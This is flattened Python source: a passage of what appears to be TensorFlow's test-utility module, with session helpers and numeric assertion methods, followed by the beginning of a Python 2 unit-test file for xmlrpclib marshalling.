graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/device:GPU:0`. Yields: A Session object that should be used as a context manager to surround the graph building and execution code in a test case. """ if context.executing_eagerly(): yield FakeEagerSession(self) else: sess = self._get_cached_session( graph, config, force_gpu, crash_if_inconsistent_args=True) with self._constrain_devices_and_set_default(sess, use_gpu, force_gpu) as cached: yield cached @contextlib.contextmanager @deprecation.deprecated(None, "Use `self.session()` or " "`self.cached_session()` instead.") def test_session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Use cached_session instead.""" if self.id().endswith(".test_session"): self.skipTest("Not a test.") if context.executing_eagerly(): yield None else: if graph is None: sess = self._get_cached_session( graph, config, force_gpu, crash_if_inconsistent_args=False) with self._constrain_devices_and_set_default(sess, use_gpu, force_gpu) as cached: yield cached else: with self.session(graph, config, use_gpu, force_gpu) as sess: yield sess # pylint: enable=g-doc-return-or-yield class _CheckedThread(object): """A wrapper class for Thread that asserts successful completion. This class should be created using the TensorFlowTestCase.checkedThread() method. """ def __init__(self, testcase, target, args=None, kwargs=None): """Constructs a new instance of _CheckedThread. Args: testcase: The TensorFlowTestCase for which this thread is being created. target: A callable object representing the code to be executed in the thread. args: A tuple of positional arguments that will be passed to target. kwargs: A dictionary of keyword arguments that will be passed to target. """ self._testcase = testcase self._target = target self._args = () if args is None else args self._kwargs = {} if kwargs is None else kwargs self._thread = threading.Thread(target=self._protected_run) self._exception = None self._is_thread_joined = False def _protected_run(self): """Target for the wrapper thread. Sets self._exception on failure.""" try: self._target(*self._args, **self._kwargs) except Exception as e: # pylint: disable=broad-except self._exception = e def start(self): """Starts the thread's activity. This must be called at most once per _CheckedThread object. It arranges for the object's target to be invoked in a separate thread of control. """ self._thread.start() def join(self): """Blocks until the thread terminates. Raises: self._testcase.failureException: If the thread terminates with due to an exception. """ self._is_thread_joined = True self._thread.join() if self._exception is not None: self._testcase.fail("Error in checkedThread: %s" % str(self._exception)) def is_alive(self): """Returns whether the thread is alive. This method returns True just before the run() method starts until just after the run() method terminates. Returns: True if the thread is alive, otherwise False. """ return self._thread.is_alive() def check_termination(self): """Returns whether the checked thread was properly used and did terminate. Every checked thread should be "join"ed after starting, and before the test tears down. If it is not joined, it is possible the thread will hang and cause flaky failures in tests. Raises: self._testcase.failureException: If check_termination was called before thread was joined. RuntimeError: If the thread is not terminated. This means thread was not joined with the main thread. """ if self._is_thread_joined: if self.is_alive(): raise RuntimeError( "Thread was not joined with main thread, and is still running " "when the test finished.") else: self._testcase.fail("A checked thread was not joined.") def checkedThread(self, target, args=None, kwargs=None): """Returns a Thread wrapper that asserts 'target' completes successfully. This method should be used to create all threads in test cases, as otherwise there is a risk that a thread will silently fail, and/or assertions made in the thread will not be respected. Args: target: A callable object to be executed in the thread. args: The argument tuple for the target invocation. Defaults to (). kwargs: A dictionary of keyword arguments for the target invocation. Defaults to {}. Returns: A wrapper for threading.Thread that supports start() and join() methods. """ ret = TensorFlowTestCase._CheckedThread(self, target, args, kwargs) self._threads.append(ret) return ret # pylint: enable=invalid-name @py_func_if_in_function def assertNear(self, f1, f2, err, msg=None): """Asserts that two floats are near each other. Checks that |f1 - f2| < err and asserts a test failure if not. Args: f1: A float value. f2: A float value. err: A float value. msg: An optional string message to append to the failure message. """ # f1 == f2 is needed here as we might have: f1, f2 = inf, inf self.assertTrue( f1 == f2 or math.fabs(f1 - f2) <= err, "%f != %f +/- %f%s" % (f1, f2, err, " (%s)" % msg if msg is not None else "")) @py_func_if_in_function def assertArrayNear(self, farray1, farray2, err, msg=None): """Asserts that two float arrays are near each other. Checks that for all elements of farray1 and farray2 |f1 - f2| < err. Asserts a test failure if not. Args: farray1: a list of float values. farray2: a list of float values. err: a float value. msg: Optional message to report on failure. """ self.assertEqual(len(farray1), len(farray2), msg=msg) for f1, f2 in zip(farray1, farray2): self.assertNear(float(f1), float(f2), err, msg=msg) def _NDArrayNear(self, ndarray1, ndarray2, err): return np.linalg.norm(ndarray1 - ndarray2) < err @py_func_if_in_function def assertNDArrayNear(self, ndarray1, ndarray2, err, msg=None): """Asserts that two numpy arrays have near values. Args: ndarray1: a numpy ndarray. ndarray2: a numpy ndarray. err: a float. The maximum absolute difference allowed. msg: Optional message to report on failure. """ self.assertTrue(self._NDArrayNear(ndarray1, ndarray2, err), msg=msg) def _GetNdArray(self, a): # If a is a tensor then convert it to ndarray if isinstance(a, ops.Tensor): if isinstance(a, ops._EagerTensorBase): a = a.numpy() else: a = self.evaluate(a) if not isinstance(a, np.ndarray): return np.array(a) return a def _assertArrayLikeAllClose(self, a, b, rtol=1e-6, atol=1e-6, msg=None): a = self._GetNdArray(a) b = self._GetNdArray(b) # When the array rank is small, print its contents. Numpy array printing is # implemented using inefficient recursion so prints can cause tests to # time out. if a.shape != b.shape and (b.ndim <= 3 or b.size < 500): shape_mismatch_msg = ("Shape mismatch: expected %s, got %s with contents " "%s.") % (a.shape, b.shape, b) else: shape_mismatch_msg = "Shape mismatch: expected %s, got %s." % (a.shape, b.shape) self.assertEqual(a.shape, b.shape, shape_mismatch_msg) msgs = [msg] if not np.allclose(a, b, rtol=rtol, atol=atol): # Adds more details to np.testing.assert_allclose. # # NOTE: numpy.allclose (and numpy.testing.assert_allclose) # checks whether two arrays are element-wise equal within a # tolerance. The relative difference (rtol * abs(b)) and the # absolute difference atol are added together to compare against # the absolute difference between a and b. Here, we want to # tell user which elements violate such conditions. cond = np.logical_or( np.abs(a - b) > atol + rtol * np.abs(b), np.isnan(a) != np.isnan(b)) if a.ndim: x = a[np.where(cond)] y = b[np.where(cond)] msgs.append("not close where = {}".format(np.where(cond))) else: # np.where is broken for scalars x, y = a, b msgs.append("not close lhs = {}".format(x)) msgs.append("not close rhs = {}".format(y)) msgs.append("not close dif = {}".format(np.abs(x - y))) msgs.append("not close tol = {}".format(atol + rtol * np.abs(y))) msgs.append("dtype = {}, shape = {}".format(a.dtype, a.shape)) # TODO(xpan): There seems to be a bug: # tensorflow/compiler/tests:binary_ops_test pass with float32 # nan even though the equal_nan is False by default internally. np.testing.assert_allclose( a, b, rtol=rtol, atol=atol, err_msg="\n".join(msgs), equal_nan=True) def _assertAllCloseRecursive(self, a, b, rtol=1e-6, atol=1e-6, path=None, msg=None): path = path or [] path_str = (("[" + "][".join([str(p) for p in path]) + "]") if path else "") msg = msg if msg else "" # Check if a and/or b are namedtuples. if hasattr(a, "_asdict"): a = a._asdict() if hasattr(b, "_asdict"): b = b._asdict() a_is_dict = isinstance(a, collections_abc.Mapping) if a_is_dict != isinstance(b, collections_abc.Mapping): raise ValueError("Can't compare dict to non-dict, a%s vs b%s. %s" % (path_str, path_str, msg)) if a_is_dict: self.assertItemsEqual( a.keys(), b.keys(), msg="mismatched keys: a%s has keys %s, but b%s has keys %s. %s" % (path_str, a.keys(), path_str, b.keys(), msg)) for k in a: path.append(k) self._assertAllCloseRecursive( a[k], b[k], rtol=rtol, atol=atol, path=path, msg=msg) del path[-1] elif isinstance(a, (list, tuple)): # Try to directly compare a, b as ndarrays; if not work, then traverse # through the sequence, which is more expensive. try: a_as_ndarray = self._GetNdArray(a) b_as_ndarray = self._GetNdArray(b) self._assertArrayLikeAllClose( a_as_ndarray, b_as_ndarray, rtol=rtol, atol=atol, msg="Mismatched value: a%s is different from b%s. %s" % (path_str, path_str, msg)) except (ValueError, TypeError) as e: if len(a) != len(b): raise ValueError( "Mismatched length: a%s has %d items, but b%s has %d items. %s" % (path_str, len(a), path_str, len(b), msg)) for idx, (a_ele, b_ele) in enumerate(zip(a, b)): path.append(str(idx)) self._assertAllCloseRecursive( a_ele, b_ele, rtol=rtol, atol=atol, path=path, msg=msg) del path[-1] # a and b are ndarray like objects else: try: self._assertArrayLikeAllClose( a, b, rtol=rtol, atol=atol, msg=("Mismatched value: a%s is different from b%s. %s" % (path_str, path_str, msg))) except TypeError as e: msg = ("Error: a%s has %s, but b%s has %s. %s" % (path_str, type(a), path_str, type(b), msg)) e.args = ((e.args[0] + " : " + msg,) + e.args[1:]) raise @py_func_if_in_function def assertAllClose(self, a, b, rtol=1e-6, atol=1e-6, msg=None): """Asserts that two structures of numpy arrays or Tensors, have near values. `a` and `b` can be arbitrarily nested structures. A layer of a nested structure can be a `dict`, `namedtuple`, `tuple` or `list`. Args: a: The expected numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor), or any arbitrarily nested of structure of these. b: The actual numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor), or any arbitrarily nested of structure of these. rtol: relative tolerance. atol: absolute tolerance. msg: Optional message to report on failure. Raises: ValueError: if only one of `a[p]` and `b[p]` is a dict or `a[p]` and `b[p]` have different length, where `[p]` denotes a path to the nested structure, e.g. given `a = [(1, 1), {'d': (6, 7)}]` and `[p] = [1]['d']`, then `a[p] = (6, 7)`. """ if ragged_tensor.is_ragged(a) or ragged_tensor.is_ragged(b): return self._assertRaggedClose(a, b, rtol, atol, msg) self._assertAllCloseRecursive(a, b, rtol=rtol, atol=atol, msg=msg) @py_func_if_in_function def assertAllCloseAccordingToType(self, a, b, rtol=1e-6, atol=1e-6, float_rtol=1e-6, float_atol=1e-6, half_rtol=1e-3, half_atol=1e-3, bfloat16_rtol=1e-2, bfloat16_atol=1e-2, msg=None): """Like assertAllClose, but also suitable for comparing fp16 arrays. In particular, the tolerance is reduced to 1e-3 if at least one of the arguments is of type float16. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. rtol: relative tolerance. atol: absolute tolerance. float_rtol: relative tolerance for float32. float_atol: absolute tolerance for float32. half_rtol: relative tolerance for float16. half_atol: absolute tolerance for float16. bfloat16_rtol: relative tolerance for bfloat16. bfloat16_atol: absolute tolerance for bfloat16. msg: Optional message to report on failure. """ a = self._GetNdArray(a) b = self._GetNdArray(b) # types with lower tol are put later to overwrite previous ones. if (a.dtype == np.float32 or b.dtype == np.float32 or a.dtype == np.complex64 or b.dtype == np.complex64): rtol = max(rtol, float_rtol) atol = max(atol, float_atol) if a.dtype == np.float16 or b.dtype == np.float16: rtol = max(rtol, half_rtol) atol = max(atol, half_atol) if (a.dtype == dtypes.bfloat16.as_numpy_dtype or b.dtype == dtypes.bfloat16.as_numpy_dtype): rtol = max(rtol, bfloat16_rtol) atol = max(atol, bfloat16_atol) self.assertAllClose(a, b, rtol=rtol, atol=atol, msg=msg) @py_func_if_in_function def assertNotAllClose(self, a, b, **kwargs): """Assert that two numpy arrays, or Tensors, do not have near values. Args: a: the first value to compare. b: the second value to compare. **kwargs: additional keyword arguments to be passed to the underlying `assertAllClose` call. Raises: AssertionError: If `a` and `b` are unexpectedly close at all elements. """ try: self.assertAllClose(a, b, **kwargs) except AssertionError: return raise AssertionError("The two values are close at all elements") @py_func_if_in_function def assertAllEqual(self, a, b, msg=None): """Asserts that two numpy arrays or Tensors have the same values. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. msg: Optional message to report on failure. """ if (ragged_tensor.is_ragged(a) or ragged_tensor.is_ragged(b)): return self._assertRaggedEqual(a, b, msg) msg = msg if msg else "" a = self._GetNdArray(a) b = self._GetNdArray(b) # Arbitrary bounds so that we don't print giant tensors. if (b.ndim <= 3 or b.size < 500): self.assertEqual( a.shape, b.shape, "Shape mismatch: expected %s, got %s." " Contents: %s. \n%s." % (a.shape, b.shape, b, msg)) else: self.assertEqual( a.shape, b.shape, "Shape mismatch: expected %s, got %s." " %s" % (a.shape, b.shape, msg)) same = (a == b) if (a.dtype in [ np.float16, np.float32, np.float64, dtypes.bfloat16.as_numpy_dtype ]): same = np.logical_or(same, np.logical_and(np.isnan(a), np.isnan(b))) msgs = [msg] if not np.all(same): # Adds more details to np.testing.assert_array_equal. diff = np.logical_not(same) if a.ndim: x = a[np.where(diff)] y = b[np.where(diff)] msgs.append("not equal where = {}".format(np.where(diff))) else: # np.where is broken for scalars x, y = a, b msgs.append("not equal lhs = {}".format(x)) msgs.append("not equal rhs = {}".format(y)) np.testing.assert_array_equal(a, b, err_msg="\n".join(msgs)) @py_func_if_in_function def assertNotAllEqual(self, a, b, msg=None): """Asserts that two numpy arrays or Tensors do not have the same values. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. msg: Optional message to report on failure. """ try: self.assertAllEqual(a, b, msg) except AssertionError: return raise AssertionError("The two values are equal at all elements") @py_func_if_in_function def assertAllGreater(self, a, comparison_target): """Assert element values are all greater than a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertGreater(np.min(a), comparison_target) @py_func_if_in_function def assertAllLess(self, a, comparison_target): """Assert element values are all less than a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertLess(np.max(a), comparison_target) @py_func_if_in_function def assertAllGreaterEqual(self, a, comparison_target): """Assert element values are all greater than or equal to a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertGreaterEqual(np.min(a), comparison_target) @py_func_if_in_function def assertAllLessEqual(self, a, comparison_target): """Assert element values are all less than or equal to a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertLessEqual(np.max(a), comparison_target) def _format_subscripts(self, subscripts, value, limit=10, indent=2): """Generate a summary of ndarray subscripts as a list of str. If limit == N, this method will print up to the first N subscripts on separate lines. A line of ellipses (...) will be appended at the end if the number of subscripts exceeds N. Args: subscripts: The tensor (np.ndarray) subscripts, of the same format as np.where()'s return value, i.e., a tuple of arrays with each array corresponding to a dimension. E.g., (array([1, 1]), array([0, 1])). value: (np.ndarray) value of the tensor. limit: (int) The maximum number of indices to print. indent: (int) Number of characters to indent at the beginning of each line. Returns: (list of str) the multi-line representation of the subscripts and values, potentially with omission at the end. """ lines = [] subscripts = np.transpose(subscripts) prefix = " " * indent for subscript in itertools.islice(subscripts, limit): lines.append(prefix + str(subscript) + " : " + str(value[tuple(subscript)])) if len(subscripts) > limit: lines.append(prefix + "...") return lines @py_func_if_in_function def assertAllInRange(self, target, lower_bound, upper_bound, open_lower_bound=False, open_upper_bound=False): """Assert that elements in a Tensor are all in a given range. Args: target: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). lower_bound: lower bound of the range upper_bound: upper bound of the range open_lower_bound: (`bool`) whether the lower bound is open (i.e., > rather than the default >=) open_upper_bound: (`bool`) whether the upper bound is open (i.e., < rather than the default <=) Raises: AssertionError: if the value tensor does not have an ordered numeric type (float* or int*), or if there are nan values, or if any of the elements do not fall in the specified range. """ target = self._GetNdArray(target) if not (np.issubdtype(target.dtype, np.floating) or np.issubdtype(target.dtype, np.integer)): raise AssertionError( "The value of %s does not have an ordered numeric type, instead it " "has type: %s" % (target, target.dtype)) nan_subscripts = np.where(np.isnan(target)) if np.size(nan_subscripts): raise AssertionError( "%d of the %d element(s) are NaN. " "Subscripts(s) and value(s) of the NaN element(s):\n" % (len(nan_subscripts[0]), np.size(target)) + "\n".join(self._format_subscripts(nan_subscripts, target))) range_str = (("(" if open_lower_bound else "[") + str(lower_bound) + ", " + str(upper_bound) + (")" if open_upper_bound else "]")) violations = ( np.less_equal(target, lower_bound) if open_lower_bound else np.less( target, lower_bound)) violations = np.logical_or( violations, np.greater_equal(target, upper_bound) if open_upper_bound else np.greater(target, upper_bound)) violation_subscripts = np.where(violations) if np.size(violation_subscripts): raise AssertionError( "%d of the %d element(s) are outside the range %s. " % (len(violation_subscripts[0]), np.size(target), range_str) + "Subscript(s) and value(s) of the offending elements:\n" + "\n".join(self._format_subscripts(violation_subscripts, target))) @py_func_if_in_function def assertAllInSet(self, target, expected_set): """Assert that elements of a Tensor are all in a given closed set. Args: target: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). expected_set: (`list`, `tuple` or `set`) The closed set that the elements of the value of `target` are expected to fall into. Raises: AssertionError: if any of the elements do not fall into `expected_set`. """ target = self._GetNdArray(target) # Elements in target that are not in expected_set. diff = np.setdiff1d(target.flatten(), list(expected_set)) if np.size(diff): raise AssertionError("%d unique element(s) are not in the set %s: %s" % (np.size(diff), expected_set, diff)) @py_func_if_in_function def assertDTypeEqual(self, target, expected_dtype): """Assert ndarray data type is equal to expected. Args: target: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). expected_dtype: Expected data type. """ target = self._GetNdArray(target) if not isinstance(target, list): arrays = [target] for arr in arrays: self.assertEqual(arr.dtype, expected_dtype) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def assertRaisesWithPredicateMatch(self, exception_type, expected_err_re_or_predicate): """Returns a context manager to enclose code expected to raise an exception. If the exception is an OpError, the op stack is also included in the message predicate search. Args: exception_type: The expected type of exception that should be raised. expected_err_re_or_predicate: If this is callable, it should be a function of one argument that inspects the passed-in exception and returns True (success) or False (please fail the test). Otherwise, the error message is expected to match this regular expression partially. Returns: A context manager to surround code that is expected to raise an exception. """ if callable(expected_err_re_or_predicate): predicate = expected_err_re_or_predicate else: def predicate(e): err_str = e.message if isinstance(e, errors.OpError) else str(e) op = e.op if isinstance(e, errors.OpError) else None while op is not None: err_str += "\nCaused by: " + op.name op = op._original_op # pylint: disable=protected-access logging.info("Searching within error strings: '%s' within '%s'", expected_err_re_or_predicate, err_str) return re.search(expected_err_re_or_predicate, err_str) try: yield self.fail(exception_type.__name__ + " not raised") except Exception as e: # pylint: disable=broad-except if not isinstance(e, exception_type) or not predicate(e): raise AssertionError("Exception of type %s: %s" % (str(type(e)), str(e))) # pylint: enable=g-doc-return-or-yield def assertRaisesOpError(self, expected_err_re_or_predicate): return self.assertRaisesWithPredicateMatch(errors.OpError, expected_err_re_or_predicate) def assertShapeEqual(self, np_array, tf_tensor, msg=None): """Asserts that a Numpy ndarray and a TensorFlow tensor have the same shape. Args: np_array: A Numpy ndarray or Numpy scalar. tf_tensor: A Tensor. msg: Optional message to report on failure. Raises: TypeError: If the arguments have the wrong type. """ if not isinstance(np_array, (np.ndarray, np.generic)): raise TypeError("np_array must be a Numpy ndarray or Numpy scalar") if not isinstance(tf_tensor, ops.Tensor): raise TypeError("tf_tensor must be a Tensor") self.assertAllEqual( np_array.shape, tf_tensor.get_shape().as_list(), msg=msg) def assertDeviceEqual(self, device1, device2, msg=None): """Asserts that the two given devices are the same. Args: device1: A string device name or TensorFlow `DeviceSpec` object. device2: A string device name or TensorFlow `DeviceSpec` object. msg: Optional message to report on failure. """ device1 = pydev.canonical_name(device1) device2 = pydev.canonical_name(device2) self.assertEqual( device1, device2, "Devices %s and %s are not equal. %s" % (device1, device2, msg)) def _GetPyList(self, a): """Converts `a` to a nested python list.""" if isinstance(a, ragged_tensor.RaggedTensor): return self.evaluate(a).to_list() elif isinstance(a, ops.Tensor): a = self.evaluate(a) return a.tolist() if isinstance(a, np.ndarray) else a elif isinstance(a, np.ndarray): return a.tolist() elif isinstance(a, ragged_tensor_value.RaggedTensorValue): return a.to_list() else: return np.array(a).tolist() def _assertRaggedEqual(self, a, b, msg): """Asserts that two ragged tensors are equal.""" a_list = self._GetPyList(a) b_list = self._GetPyList(b) self.assertEqual(a_list, b_list, msg) if not (isinstance(a, (list, tuple)) or isinstance(b, (list, tuple))): a_ragged_rank = a.ragged_rank if ragged_tensor.is_ragged(a) else 0 b_ragged_rank = b.ragged_rank if ragged_tensor.is_ragged(b) else 0 self.assertEqual(a_ragged_rank, b_ragged_rank, msg) def _assertRaggedClose(self, a, b, rtol, atol, msg=None): a_list = self._GetPyList(a) b_list = self._GetPyList(b) self._assertListCloseRecursive(a_list, b_list, rtol, atol, msg) if not (isinstance(a, (list, tuple)) or isinstance(b, (list, tuple))): a_ragged_rank = a.ragged_rank if ragged_tensor.is_ragged(a) else 0 b_ragged_rank = b.ragged_rank if ragged_tensor.is_ragged(b) else 0 self.assertEqual(a_ragged_rank, b_ragged_rank, msg) def _assertListCloseRecursive(self, a, b, rtol, atol, msg, path="value"): self.assertEqual(type(a), type(b)) if isinstance(a, (list, tuple)): self.assertLen(a, len(b), "Length differs for %s" % path) for i in range(len(a)): self._assertListCloseRecursive(a[i], b[i], rtol, atol, msg, "%s[%s]" % (path, i)) else: self._assertAllCloseRecursive(a, b, rtol, atol, path, msg) # Fix Python 3 compatibility issues if six.PY3: # pylint: disable=invalid-name # Silence a deprecation warning assertRaisesRegexp = googletest.TestCase.assertRaisesRegex # assertItemsEqual is assertCountEqual as of 3.2. assertItemsEqual = googletest.TestCase.assertCountEqual # pylint: enable=invalid-name @contextlib.contextmanager def _constrain_devices_and_set_default(self, sess, use_gpu, force_gpu): """Set the session and its graph to global default and constrain devices.""" if context.executing_eagerly(): yield None else: with sess.graph.as_default(), sess.as_default(): if force_gpu: # Use the name of an actual device if one is detected, or # '/device:GPU:0' otherwise gpu_name = gpu_device_name() if not gpu_name: gpu_name = "/device:GPU:0" with sess.graph.device(gpu_name): yield sess elif use_gpu: yield sess else: with sess.graph.device("/device:CPU:0"): yield sess def _create_session(self, graph, config, force_gpu): """See session() for details.""" def prepare_config(config): """Returns a config for sessions. Args: config: An optional config_pb2.ConfigProto to use to configure the session. Returns: A config_pb2.ConfigProto object. """ # TODO(b/114333779): Enforce allow_soft_placement=False when # use_gpu=False. Currently many tests rely on the fact that any device # will be used even when a specific device is supposed to be used. allow_soft_placement = not force_gpu if config is None: config = context.context().config config.allow_soft_placement = allow_soft_placement elif not allow_soft_placement and config.allow_soft_placement: config_copy = context.context().config config = config_copy config.allow_soft_placement = False # Don't perform optimizations for tests so we don't inadvertently run # gpu ops on cpu config.graph_options.optimizer_options.opt_level = -1 # Disable Grappler constant folding since some tests & benchmarks # use constant input and become meaningless after constant folding. # DO NOT DISABLE GRAPPLER OPTIMIZERS WITHOUT CONSULTING WITH THE # GRAPPLER TEAM. config.graph_options.rewrite_options.constant_folding = ( rewriter_config_pb2.RewriterConfig.OFF) config.graph_options.rewrite_options.pin_to_host_optimization = ( rewriter_config_pb2.RewriterConfig.OFF) return config return ErrorLoggingSession(graph=graph, config=prepare_config(config)) def _get_cached_session(self, graph=None, config=None, force_gpu=False, crash_if_inconsistent_args=True): """See cached_session() for documentation.""" if self._cached_session is None: sess = self._create_session( graph=graph, config=config, force_gpu=force_gpu) self._cached_session = sess self._cached_graph = graph self._cached_config = config self._cached_force_gpu = force_gpu return sess else: if crash_if_inconsistent_args and self._cached_graph is not graph: raise ValueError("The graph used to get the cached session is " "different than the one that was used to create the " "session. Maybe create a new session with " "self.session()") if crash_if_inconsistent_args and self._cached_config is not config: raise ValueError("The config used to get the cached session is " "different than the one that was used to create the " "session. Maybe create a new session with " "self.session()") if crash_if_inconsistent_args and (self._cached_force_gpu is not force_gpu): raise ValueError( "The force_gpu value used to get the cached session is " "different than the one that was used to create the " "session. Maybe create a new session with " "self.session()") return self._cached_session @tf_export("test.create_local_cluster") def create_local_cluster(num_workers, num_ps, protocol="grpc", worker_config=None, ps_config=None): """Create and start local servers and return the associated `Server` objects. "PS" stands for "parameter server": a task responsible for storing and updating the model's parameters. Other tasks send updates to these parameters as they work on optimizing the parameters. This particular division of labor between tasks is not required, but is common for distributed training. Read more at https://www.tensorflow.org/guide/extend/architecture ![components](https://www.tensorflow.org/images/diag1.svg "components") Figure illustrates the interaction of these components. "/job:worker/task:0" and "/job:ps/task:0" are both tasks with worker services. Example: ```python workers, _ = tf.test.create_local_cluster(num_workers=2, num_ps=2) worker_sessions = [tf.compat.v1.Session(w.target) for w in workers] with tf.device("/job:ps/task:0"): ... with tf.device("/job:ps/task:1"): ... with tf.device("/job:worker/task:0"): ... with tf.device("/job:worker/task:1"): ... worker_sessions[0].run(...) ``` Args: num_workers: Number of worker servers to start. num_ps: Number of PS servers to start. protocol: Communication protocol. Allowed values are documented in the documentation of `tf.distribute.Server`. worker_config: (optional) `tf.ConfigProto` to initialize workers. Can be used to instantiate multiple devices etc. ps_config: (optional) `tf.ConfigProto` to initialize PS servers. Returns: A tuple `(worker_servers, ps_servers)`. `worker_servers` is a list of `num_workers` objects of type `tf.distribute.Server` (all running locally); and `ps_servers` is a list of `num_ps` objects of similar type. Raises: ImportError: if portpicker module was not found at load time """ if _portpicker_import_error: raise _portpicker_import_error # pylint: disable=raising-bad-type worker_ports = [portpicker.pick_unused_port() for _ in range(num_workers)] ps_ports = [portpicker.pick_unused_port() for _ in range(num_ps)] cluster_dict = { "worker": ["localhost:%s" % port for port in worker_ports], "ps": ["localhost:%s" % port for port in ps_ports] } cs = server_lib.ClusterSpec(cluster_dict) workers = [ server_lib.Server( cs, job_name="worker", protocol=protocol, task_index=ix, config=worker_config, start=True) for ix in range(num_workers) ] ps_servers = [ server_lib.Server( cs, job_name="ps", protocol=protocol, task_index=ix, config=ps_config, start=True) for ix in range(num_ps) ] return workers, ps_servers def get_node_def_from_graph(node_name, graph_def): """Returns the `NodeDef` instance for given node name in the graph def. This method explores only the NodeDefs in `graph_def.node`. Args: node_name: Name of the NodeDef to search for. graph_def: An instance of `GraphDef` proto. Returns: the `NodeDef` instance whose name field matches the given node_name or None. """ for node_def in graph_def.node: if node_def.name == node_name: return node_def return None def set_producer_version(graph, producer_version): """Sets graph.graph_def_versions.producer to `producer_version`.""" # The C API doesn't expose altering GraphDefVersions. We can indirectly set # it via import_graph_def though. graph_def = graph_pb2.GraphDef() graph_def.versions.producer = producer_version with graph.as_default(): importer.import_graph_def(graph_def) assert graph.graph_def_versions.producer, producer_version
test_xmlrpc.py
import base64 import datetime import sys import time import unittest import xmlrpclib import SimpleXMLRPCServer import mimetools import httplib import socket import StringIO import os import re from test import test_support try: import threading except ImportError: threading = None try: unicode except NameError: have_unicode = False else: have_unicode = True alist = [{'astring': 'foo@bar.baz.spam', 'afloat': 7283.43, 'anint': 2**20, 'ashortlong': 2L, 'anotherlist': ['.zyx.41'], 'abase64': xmlrpclib.Binary("my dog has fleas"), 'boolean': xmlrpclib.False, 'unicode': u'\u4000\u6000\u8000', u'ukey\u4000': 'regular value', 'datetime1': xmlrpclib.DateTime('20050210T11:41:23'), 'datetime2': xmlrpclib.DateTime( (2005, 02, 10, 11, 41, 23, 0, 1, -1)), 'datetime3': xmlrpclib.DateTime( datetime.datetime(2005, 02, 10, 11, 41, 23)), }] class XMLRPCTestCase(unittest.TestCase): def test_dump_load(self): self.assertEqual(alist, xmlrpclib.loads(xmlrpclib.dumps((alist,)))[0][0]) def test_dump_bare_datetime(self): # This checks that an unwrapped datetime.date object can be handled # by the marshalling code. This can't be done via test_dump_load() # since with use_datetime set to 1 the unmarshaller would create # datetime objects for the 'datetime[123]' keys as well dt = datetime.datetime(2005, 02, 10, 11, 41, 23) s = xmlrpclib.dumps((dt,)) (newdt,), m = xmlrpclib.loads(s, use_datetime=1) self.assertEqual(newdt, dt) self.assertEqual(m, None) (newdt,), m = xmlrpclib.loads(s, use_datetime=0) self.assertEqual(newdt, xmlrpclib.DateTime('20050210T11:41:23')) def test_datetime_before_1900(self): # same as before but with a date before 1900 dt = datetime.datetime(1, 02, 10, 11, 41, 23) s = xmlrpclib.dumps((dt,)) (newdt,), m = xmlrpclib.loads(s, use_datetime=1) self.assertEqual(newdt, dt) self.assertEqual(m, None) (newdt,), m = xmlrpclib.loads(s, use_datetime=0) self.assertEqual(newdt, xmlrpclib.DateTime('00010210T11:41:23')) def test_cmp_datetime_DateTime(self): now = datetime.datetime.now() dt = xmlrpclib.DateTime(now.timetuple()) self.assertTrue(dt == now) self.assertTrue(now == dt) then = now + datetime.timedelta(seconds=4) self.assertTrue(then >= dt) self.assertTrue(dt < then) def test_bug_1164912 (self): d = xmlrpclib.DateTime() ((new_d,), dummy) = xmlrpclib.loads(xmlrpclib.dumps((d,), methodresponse=True)) self.assertIsInstance(new_d.value, str) # Check that the output of dumps() is still an 8-bit string s = xmlrpclib.dumps((new_d,), methodresponse=True) self.assertIsInstance(s, str) def test_newstyle_class(self): class T(object): pass t = T() t.x = 100 t.y = "Hello" ((t2,), dummy) = xmlrpclib.loads(xmlrpclib.dumps((t,))) self.assertEqual(t2, t.__dict__) def test_dump_big_long(self): self.assertRaises(OverflowError, xmlrpclib.dumps, (2L**99,)) def test_dump_bad_dict(self): self.assertRaises(TypeError, xmlrpclib.dumps, ({(1,2,3): 1},)) def test_dump_recursive_seq(self): l = [1,2,3] t = [3,4,5,l] l.append(t) self.assertRaises(TypeError, xmlrpclib.dumps, (l,)) def test_dump_recursive_dict(self): d = {'1':1, '2':1} t = {'3':3, 'd':d} d['t'] = t self.assertRaises(TypeError, xmlrpclib.dumps, (d,)) def test_dump_big_int(self): if sys.maxint > 2L**31-1: self.assertRaises(OverflowError, xmlrpclib.dumps, (int(2L**34),)) xmlrpclib.dumps((xmlrpclib.MAXINT, xmlrpclib.MININT)) self.assertRaises(OverflowError, xmlrpclib.dumps, (xmlrpclib.MAXINT+1,)) self.assertRaises(OverflowError, xmlrpclib.dumps, (xmlrpclib.MININT-1,)) def dummy_write(s): pass m = xmlrpclib.Marshaller() m.dump_int(xmlrpclib.MAXINT, dummy_write) m.dump_int(xmlrpclib.MININT, dummy_write) self.assertRaises(OverflowError, m.dump_int, xmlrpclib.MAXINT+1, dummy_write) self.assertRaises(OverflowError, m.dump_int, xmlrpclib.MININT-1, dummy_write) def test_dump_none(self): value = alist + [None] arg1 = (alist + [None],) strg = xmlrpclib.dumps(arg1, allow_none=True) self.assertEqual(value, xmlrpclib.loads(strg)[0][0]) 